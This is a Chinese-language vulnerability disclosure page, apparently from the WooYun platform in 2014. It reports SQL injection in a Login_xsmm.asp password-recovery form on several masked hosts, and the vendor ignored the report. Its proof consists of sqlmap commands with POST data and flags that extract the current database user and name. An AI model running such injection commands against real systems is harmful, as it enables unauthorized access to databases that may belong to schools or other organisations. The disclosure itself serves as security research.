漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-15: 细节向公众公开
简要描述:
好多sa啊~
详细说明:
漏洞证明:
#2.注入证明
sqlmap -u "
1.http://**.**.**/Login_x
smm.asp" --data "XH=aaaa&XM=aaaa&SFZH=123456789987654321&cmdsub=%D5%D2%BB%D8%C3%DC%C2%EB"
Sqlmap -u "
1.http://**.**.**
8181/Login_xsmm.asp" -data "XH=aaaa&XM=aaaa&SFZH=123456789987654321&cmdsub=%D5%D2%BB%D8%C3%DC%C2%EB" --time-sec 5 --current-user --current-db
sqlmap -u "
1.http://**.**.**
8/Login_xsmm.asp" ---data "XH=aaaa&XM=aaaa&SFZH=123456789987654321&cmdsub=%D5%D2%BB%D8%C3%DC%C2%EB" --current-user --current-db
sqlmap -u "
1.http://**.**.**/
oa/Login_xsmm.asp" ---data "XH=aaaa&XM=aaaa&SFZH=123456789987654321&cmdsub=%D5%D2%BB%D8%C3%DC%C2%EB" --current-user --current-db
>sqlmap -u "
1.http://**.**.**/
jw/Login_xsmm.asp" ---data "XH=aaaa&XM=aaaa&SFZH=123456789987654321&cmdsub=%D5%D2%BB%D8%C3%DC%C2%EB" --current-user --current-db
修复方案:
好多sa,确认一下吧~太慢了就不跑库表了~
版权声明:转载请注明来源 U神@乌云
>
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-08-15 16:16
厂商回复:
最新状态:
暂无